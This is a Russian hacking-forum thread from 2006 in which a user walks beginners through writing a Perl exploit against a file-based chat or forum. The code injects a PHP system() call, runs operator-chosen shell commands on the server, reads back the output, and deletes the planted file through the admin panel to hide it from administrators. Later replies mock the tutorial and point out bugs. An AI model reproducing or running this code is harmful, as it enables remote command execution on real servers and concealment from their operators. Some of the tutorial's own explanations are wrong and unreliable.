Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Сплоит на Perle! (https://forum.antichat.xyz/showthread.php?t=28855)

Lancellot 10.12.2006 20:42

Сплоит на Perle!
 
Многие начинающие так сказать хакеры начиная постепенно изучать теорию взлома доходят до сплоитов имхо взлом без сплоитов ето не взлом-мое сугубо личное мнение и не подлежит обяснению! И так.... сплоиты пишут на многих языках прогаммирования ,но мы россмотрим язык Perl .
Я задел ету тему потому что большое количество новичков
сталкиваются с проблемой (скачал сплоит .а он не работает) ИМХО в нем допущены СПЕЦИАЛЬНО ошибки от киддисов!
Сплоит написаный на Perle отличается от других строчкой в начале #!/usr/bin/perl!Для того чтобы понять их ошибки и принцип работы попробуем самим написать простенький эксплоит.
Будем писать на примере какого нить форума (чата) считая что он не использует БД и вся инфа о пользователях хранится в открытом виде но в PHP формате.
Для того чтобы писать сплоит надо знать что он будет делать (эксплуатировать уязвимость) будем считать что вы нашли баг в форуме (чате)!И сплоит будет:
- вывод запроса на ввод урла сайта и каталога чата;
- коннект к этому адресу;
- запрос на ввод системной команды;
- передача файлу null.php этой команды;
- запуск файла /data/dd.mm.gggg.php с выбранной командой, и считывание ответа;
- удаление файла /data/dd.mm.gggg.php.

Етот пример сплоита показывает уязвимость что в PHP файл можно записатьлюбые даные .Ну вперед..........
1 строчка во всех Perl скриптах одинаковая , вовремя отладки желательно к ней добавлять еще и (-w) тогда перл будет сигнализировать о всех допущенных ошибках.
Код:

#!/usr/bin/perl -w
После етого идет поключение в скрипт нужных библиотек в нашем случае ето работа с сокетами
Код:

use IO::Socket;
Для вывода запроса на ввод урла и каталога будем использовать команду print, правда некоторые сплойты использует другой способ передачи данных скрипту используя переменную $ARGV, объясню как она работает:
В этом случае переменные передаются скрипту через пробел и заносятся в массив, к примеру если передать
Код:

perl script.pl x1 x2 x3
то $ARGV[0] будет равно x1, $ARGV[1]=x2 ,a $ARGV[2]=x3
К примеру код уязвимости
Код:

print "Adress of site(www.site.com): ";
$url=<STDIN>;
print "Catalog(chat): ";
$dir=<STDIN>;
chomp $url;
chomp $dir;

команда print тока выводит на экран строчку, <STDIN> - это запрос на ввод текста, который в нашем случае затем присваивается переменной. Команда chomp служит для удаления из переменной символов переноса строки.
Добавляем к переданному урлу http://
Код:

$url =~ s/(http:\/\/)//eg;
Теперь конектимся к требуемому адресу, тут все понятно
Код:

$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
print "--[ Connect ok ]--\n";

Передаем через команду print урлу строчку, которая запускает null.php .
Код:

$file="/$dir/null.php?h=1&col=<?system(\$id);?>";
print $connect "GET $file HTTP/1.0\r\n\r\n";

Вывод запроса на ввод системной команды и сохранение его в переменной $sys
Код:

print "System command(ls -la):";
$sys=<STDIN>;
chomp $sys;

Вычисление текущей даты, понадобится для определения в какой файл записался наш кусок кода
Код:

@date=localtime;
$day=$date[3];
$mon="$date[4]"+1;
$year="$date[5]"+1900;
$dt="$day.$mon.$year";

Коннект, и запуск файла с нашим кодом
Код:

$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
$file2="/$dir/data/$dt.php?id=$sys";

print $connect "GET $file2 HTTP/1.0\r\n\r\n";

Считывание результата выведенного на экран, в результате выполнения нашей системной команды
Код:

print "--[ Resultat ]--\n";
while ($answer = <$connect>)
{
print $answer;
}

Теперь чтобы наш файл не бросался в глаза админам, мы его удаляем, через админку
Код:

$file3="/$dir/report.php?status=admin&del=$dt";

$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
print "--[ Delete file /$dir/data/$dt.php ]--\n";

print $connect "GET $file3 HTTP/1.0\r\n\r\n";

Теперь копируем в файл все строчки кода
в той же очередности и сохраняем с росширением .pl
Все сплоит готов!
Для запуска сплоита понадобится Perl интерпритатор.

A110ut 10.12.2006 20:46

мда.. из разряда "хеллуоворлд по хакирски"

zyl 10.12.2006 22:30

Если мне не изменяет память, то подобная тема уже поднималась!
Вот: http://forum.antichat.ru/thread27420.html

KSURi 10.12.2006 23:45

Цитата:

1 строчка во всех Perl скриптах одинаковая
Бред
Цитата:

$url =~ s/(http:\/\/)//eg;
Ты уверен что этот код сделает то, что ты хочешь? Зачем тут eg?

Зачем ты создаешь сокет заново?
Ну про кавычки я уж мочлу....


Время: 02:03